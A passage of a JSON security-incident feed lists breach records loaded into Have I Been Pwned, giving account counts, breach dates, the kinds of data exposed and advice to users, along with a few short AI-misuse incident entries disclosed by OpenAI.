entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-underarmour","cveId":null,"aliases":["UnderArmour"],"kind":"breach","title":"Under Armour breach: 72,742,892 accounts exposed","summary":"In November 2025, the Everest ransomware group claimed Under Armour as a victim and attempted to extort a ransom , alleging they had obtained access to 343GB of data. In January 2026, customer data from the incident was published publicly on a popular hacking forum , including 72M email addresses. Many records also contained additional personal information such as names, dates of birth, genders, geographic locations and purchase information.","detail":"Verified by Have I Been Pwned. Breach date: 2025-11-17; loaded 2026-01-21. Exposed data: Dates of birth, Email addresses, Genders, Geographic locations, Names, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-01-21T06:34:18.000Z","updatedAt":"2026-01-21T06:42:44.000Z","regions":["Global"],"vendor":"underarmour.com","product":null,"stacks":["Underarmour.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Under Armour","url":"https://haveibeenpwned.com/Breach/UnderArmour","type":"primary","publishedAt":"2026-01-21T06:34:18.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-raaga","cveId":null,"aliases":["Raaga"],"kind":"breach","title":"Raaga breach: 10,225,145 accounts exposed","summary":"In December 2025, data allegedly breached from the Indian streaming music service \"Raaga\" was posted for sale to a popular hacking forum . The data contained 10M unique email addresses along with names, genders, ages (in some cases, full date of birth), postcodes and passwords stored as unsalted MD5 hashes.","detail":"Verified by Have I Been Pwned. Breach date: 2025-12-15; loaded 2026-01-19. Exposed data: Ages, Dates of birth, Email addresses, Genders, Geographic locations, Names, Passwords. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-01-19T17:33:46.000Z","updatedAt":"2026-01-19T17:33:46.000Z","regions":["Global"],"vendor":"raaga.com","product":null,"stacks":["Raaga.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Raaga","url":"https://haveibeenpwned.com/Breach/Raaga","type":"primary","publishedAt":"2026-01-19T17:33:46.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-instagram","cveId":null,"aliases":["Instagram"],"kind":"breach","title":"Instagram breach: 6,215,150 accounts exposed","summary":"In January 2026, data allegedly scraped via an Instagram API was posted to a popular hacking forum . The dataset contained 17M rows of public Instagram information, including usernames, display names, account IDs, and in some cases, geolocation data. Of these records, 6.2M included an associated email address, and some also contained a phone number. The scraped data appears to be unrelated to password reset requests initiated on the platform , despite coinciding in timeframe. There is no evidence that passwords or other sensitive data were compromised.","detail":"Verified by Have I Been Pwned. Breach date: 2026-01-07; loaded 2026-01-11. Exposed data: Display names, Email addresses, Geographic locations, Phone numbers, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-01-11T16:59:02.000Z","updatedAt":"2026-01-11T16:59:02.000Z","regions":["Global"],"vendor":"instagram.com","product":null,"stacks":["Instagram.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Instagram","url":"https://haveibeenpwned.com/Breach/Instagram","type":"primary","publishedAt":"2026-01-11T16:59:02.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-breachforums2025","cveId":null,"aliases":["BreachForums2025"],"kind":"breach","title":"BreachForums (2025) breach: 672,247 accounts exposed","summary":"In October 2025, a reincarnation of the hacking forum BreachForums, which had previously been shut down multiple times, was taken offline by a coalition of law enforcement agencies . In the months leading up to the takedown, the site itself suffered a data breach that exposed a total of 672k unique email addresses across all tables, including within forum posts and private messages. The users table alone contained 324k unique email addresses, usernames, and Argon2 password hashes.","detail":"Verified by Have I Been Pwned. Breach date: 2025-08-11; loaded 2026-01-10. Exposed data: Email addresses, Forum posts, Passwords, Private messages, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-01-10T11:06:03.000Z","updatedAt":"2026-01-11T08:24:05.000Z","regions":["Global"],"vendor":"breachforums.hn","product":null,"stacks":["Breachforums.hn"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: BreachForums (2025)","url":"https://haveibeenpwned.com/Breach/BreachForums2025","type":"primary","publishedAt":"2026-01-10T11:06:03.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-wired","cveId":null,"aliases":["WIRED"],"kind":"breach","title":"WIRED breach: 2,364,431 accounts exposed","summary":"In December 2025, 2.3M records of WIRED magazine users allegedly obtained from parent company Condé Nast were published online . The most recent data dated back to the previous September and exposed email addresses and display names, as well as, for a small number of users, their name, phone number, date of birth, gender, and geographic location or full physical address. The WIRED data allegedly represents a subset of Condé Nast brands the hacker also claims to have obtained.","detail":"Verified by Have I Been Pwned. Breach date: 2025-09-08; loaded 2025-12-27. Exposed data: Dates of birth, Display names, Email addresses, Genders, Geographic locations, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-12-27T23:29:49.000Z","updatedAt":"2025-12-28T00:08:02.000Z","regions":["Global"],"vendor":"wired.com","product":null,"stacks":["Wired.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: WIRED","url":"https://haveibeenpwned.com/Breach/WIRED","type":"primary","publishedAt":"2025-12-27T23:29:49.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-utair","cveId":null,"aliases":["Utair"],"kind":"breach","title":"Utair breach: 401,400 accounts exposed","summary":"In August 2020, news broke of a data breach of Russian airline Utair that dated back to the previous year . The breach contained over 400k unique email addresses along with extensive personal information including names, physical addresses, dates of birth, passport numbers and loyalty program details.","detail":"Verified by Have I Been Pwned. Breach date: 2019-03-21; loaded 2025-12-26. Exposed data: Dates of birth, Email addresses, Genders, Loyalty program details, Names, Passport numbers, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-12-26T04:28:29.000Z","updatedAt":"2025-12-26T20:13:12.000Z","regions":["Global"],"vendor":"utair.ru","product":null,"stacks":["Utair.ru"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Utair","url":"https://haveibeenpwned.com/Breach/Utair","type":"primary","publishedAt":"2025-12-26T04:28:29.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-thebottingnetwork","cveId":null,"aliases":["TheBottingNetwork"],"kind":"breach","title":"The Botting Network breach: 96,320 accounts exposed","summary":"In August 2012, the forum for making money with botting \"The Botting Network\" suffered a data breach that exposed 96k user records . The now defunct vBulletin forum leaked 96k email addresses, usernames, dates of birth and salted MD5 password hashes.","detail":"Verified by Have I Been Pwned. Breach date: 2012-08-12; loaded 2025-12-18. Exposed data: Dates of birth, Email addresses, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-12-18T01:33:47.000Z","updatedAt":"2025-12-18T01:33:47.000Z","regions":["Global"],"vendor":"thebotnet.com","product":null,"stacks":["Thebotnet.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: The Botting Network","url":"https://haveibeenpwned.com/Breach/TheBottingNetwork","type":"primary","publishedAt":"2025-12-18T01:33:47.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-kinokong","cveId":null,"aliases":["KinoKong"],"kind":"breach","title":"KinoKong breach: 817,808 accounts exposed","summary":"In March 2021, the Russian online streaming service KinoKong suffered a data breach that was later redistributed as part of a larger corpus of data . The breach exposed over 800k unique email addresses along with names, usernames, IP addresses and MD5 password hashes.","detail":"Verified by Have I Been Pwned. Breach date: 2021-03-25; loaded 2025-12-06. Exposed data: Email addresses, IP addresses, Names, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-12-06T08:13:57.000Z","updatedAt":"2025-12-06T08:13:57.000Z","regions":["Global"],"vendor":"kinokong.org","product":null,"stacks":["Kinokong.org"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: KinoKong","url":"https://haveibeenpwned.com/Breach/KinoKong","type":"primary","publishedAt":"2025-12-06T08:13:57.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-zilvia","cveId":null,"aliases":["Zilvia"],"kind":"breach","title":"Zilvia.net breach: 287,863 accounts exposed","summary":"In November 2025, data breached from the Zilvia.net Nissan 240SX Silvia and Z Fairlady car forum was leaked. The breach exposed 288k unique email addresses along with usernames, IP addresses and salted MD5 password hashes sourced from the vBulletin based platform. Attempts to contact Zilvia.net about the incident were unsuccessful.","detail":"Verified by Have I Been Pwned. Breach date: 2025-11-06; loaded 2025-12-01. Exposed data: Email addresses, IP addresses, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-12-01T07:34:16.000Z","updatedAt":"2025-12-01T07:34:16.000Z","regions":["Global"],"vendor":"zilvia.net","product":null,"stacks":["Zilvia.net"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Zilvia.net","url":"https://haveibeenpwned.com/Breach/Zilvia","type":"primary","publishedAt":"2025-12-01T07:34:16.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-csdn","cveId":null,"aliases":["CSDN"],"kind":"breach","title":"China Software Developer Network breach: 6,414,990 accounts exposed","summary":"In 2011, the China Software Developer Network (CSDN) suffered a data breach that exposed over 6M user records . The data included email addresses alongside usernames and plain text passwords.","detail":"Verified by Have I Been Pwned. Breach date: 2011-12-21; loaded 2025-11-27. Exposed data: Email addresses, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-11-27T05:49:56.000Z","updatedAt":"2025-11-27T05:49:56.000Z","regions":["Global"],"vendor":"csdn.net","product":null,"stacks":["Csdn.net"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: China Software Developer Network","url":"https://haveibeenpwned.com/Breach/CSDN","type":"primary","publishedAt":"2025-11-27T05:49:56.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-mixpanel-incident-ec9167a4ecbb","cveId":null,"aliases":[],"kind":"ai-incident","title":"Mixpanel security incident: what OpenAI users need to know","summary":"OpenAI shares details about a Mixpanel security incident involving limited API analytics data. No API content, credentials, or payment details were exposed. Learn what happened and how we’re protecting users.","detail":"OpenAI shares details about a Mixpanel security incident involving limited API analytics data. No API content, credentials, or payment details were exposed. Learn what happened and how we’re protecting users.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-11-26T19:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"OpenAI: Mixpanel security incident: what OpenAI users need to know","url":"https://openai.com/index/mixpanel-incident","type":"primary","publishedAt":"2025-11-26T19:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-adda","cveId":null,"aliases":["ADDA"],"kind":"breach","title":"ADDA breach: 1,829,314 accounts exposed","summary":"In March 2025, data allegedly breached from the ADDA housing societies service was posted to a public hacking forum . The data contained over 1.8M unique email addresses along with names, phone numbers and MD5 password hashes.","detail":"Verified by Have I Been Pwned. Breach date: 2025-03-24; loaded 2025-11-23. Exposed data: Email addresses, Names, Passwords, Phone numbers. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-11-23T01:16:58.000Z","updatedAt":"2025-11-23T23:04:58.000Z","regions":["Global"],"vendor":"adda.io","product":null,"stacks":["Adda.io"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: ADDA","url":"https://haveibeenpwned.com/Breach/ADDA","type":"primary","publishedAt":"2025-11-23T01:16:58.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-iko","cveId":null,"aliases":["IKO"],"kind":"breach","title":"International Kiteboarding Organization breach: 340,349 accounts exposed","summary":"In November 2025, the International Kiteboarding Organization suffered a data breach that exposed 340k user records . The data was subsequently listed for sale on a hacking forum and included email addresses, names, usernames and in many cases, the user's city and country.","detail":"Verified by Have I Been Pwned. Breach date: 2025-11-11; loaded 2025-11-20. Exposed data: Email addresses, Geographic locations, Names, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-11-20T22:24:10.000Z","updatedAt":"2025-11-20T22:24:10.000Z","regions":["Global"],"vendor":"ikointl.com","product":null,"stacks":["Ikointl.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: International Kiteboarding Organization","url":"https://haveibeenpwned.com/Breach/IKO","type":"primary","publishedAt":"2025-11-20T22:24:10.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-beckett","cveId":null,"aliases":["Beckett"],"kind":"breach","title":"Beckett Collectibles breach: 1,041,238 accounts exposed","summary":"In November 2025, Beckett Collectibles experienced a data breach accompanied by website content defacement . The stolen data was later advertised for sale on a prominent hacking forum, with portions subsequently released publicly. The publicly circulating data initially included more than 500k email addresses reportedly belonging to North American customers, before a larger corpus of over 1M addresses was published the following month. The impacted data included names, usernames, phone numbers and physical addresses.","detail":"Verified by Have I Been Pwned. Breach date: 2025-11-09; loaded 2025-11-20. Exposed data: Email addresses, Names, Phone numbers, Physical addresses, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-11-20T05:41:12.000Z","updatedAt":"2025-12-02T20:57:33.000Z","regions":["Global"],"vendor":"beckett.com","product":null,"stacks":["Beckett.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Beckett Collectibles","url":"https://haveibeenpwned.com/Breach/Beckett","type":"primary","publishedAt":"2025-11-20T05:41:12.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-operationendgame3","cveId":null,"aliases":["OperationEndgame3"],"kind":"breach","title":"Operation Endgame 3.0 breach: 2,046,030 accounts exposed","summary":"Between 10 and 13 November 2025, the latest phase of Operation Endgame was coordinated from Europol's headquarters in The Hague . The actions targeted one of the biggest infostealer Rhadamanthys, the Remote Access Trojan VenomRAT, and the botnet Elysium, all of which played a key role in international cybercrime. Authorities took down these three large cybercrime enablers and provided 2 million impacted email addresses and 7.4 million passwords to HIBP.","detail":"Verified by Have I Been Pwned. Breach date: 2025-11-13; loaded 2025-11-13. Exposed data: Email addresses, Passwords. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-11-13T10:23:12.000Z","updatedAt":"2025-11-13T10:40:04.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Operation Endgame 3.0","url":"https://haveibeenpwned.com/Breach/OperationEndgame3","type":"primary","publishedAt":"2025-11-13T10:23:12.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-synthientcredentialstuffingthreatdata","cveId":null,"aliases":["SynthientCredentialStuffingThreatData"],"kind":"breach","title":"Synthient Credential Stuffing Threat Data breach: 1,957,476,021 accounts exposed","summary":"During 2025, the threat-intelligence firm Synthient aggregated 2 billion unique email addresses disclosed in credential-stuffing lists found across multiple malicious internet sources . Comprised of email addresses and passwords from previous data breaches, these lists are used by attackers to compromise other, unrelated accounts of victims who have reused their passwords. The data also included 1.3 billion unique passwords, which are now searchable in Pwned Passwords. Working to turn breached data into awareness, Synthient partnered with HIBP to help victims of cybercrime understand their exposure.","detail":"Verified by Have I Been Pwned. Breach date: 2025-04-11; loaded 2025-11-06. Exposed data: Email addresses, Passwords. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-11-06T04:58:49.000Z","updatedAt":"2025-11-08T09:44:24.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Synthient Credential Stuffing Threat Data","url":"https://haveibeenpwned.com/Breach/SynthientCredentialStuffingThreatData","type":"primary","publishedAt":"2025-11-06T04:58:49.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-myvidster2025","cveId":null,"aliases":["MyVidster2025"],"kind":"breach","title":"MyVidster (2025) breach: 3,864,364 accounts exposed","summary":"In October 2025, the data of almost 4M MyVidster users was posted to a public hacking forum . Separate to the 2015 breach, this incident exposed usernames, email addresses and in a small number of cases, profile photos.","detail":"Verified by Have I Been Pwned. Breach date: 2025-10-24; loaded 2025-10-27. Exposed data: Email addresses, Profile photos, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-10-27T02:40:29.000Z","updatedAt":"2025-10-27T02:40:29.000Z","regions":["Global"],"vendor":"myvidster.com","product":null,"stacks":["Myvidster.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: MyVidster (2025)","url":"https://haveibeenpwned.com/Breach/MyVidster2025","type":"primary","publishedAt":"2025-10-27T02:40:29.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-korean-language-malware-support-c3151ad1badf","cveId":null,"aliases":[],"kind":"ai-incident","title":"Cyber Operation: Korean-language malware support","summary":"OpenAI banned Korean-language accounts using AI for malware development support, debugging, phishing, and credential-theft workflows.","detail":"OpenAI banned Korean-language accounts using AI for malware development support, debugging, phishing, and credential-theft workflows.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-10-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-korean-language-malware-support"},"sources":[{"name":"OpenAI: Cyber Operation: Korean-language malware support","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-korean-language-malware-support","type":"primary","publishedAt":"2025-10-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-nine-emdash-line-071d48002d8a","cveId":null,"aliases":["Nine-emdash"],"kind":"ai-incident","title":"Operation “Nine–emdash Line”: Regional influence activity","summary":"OpenAI banned accounts linked to a previously unreported PRC-origin operation we dubbed 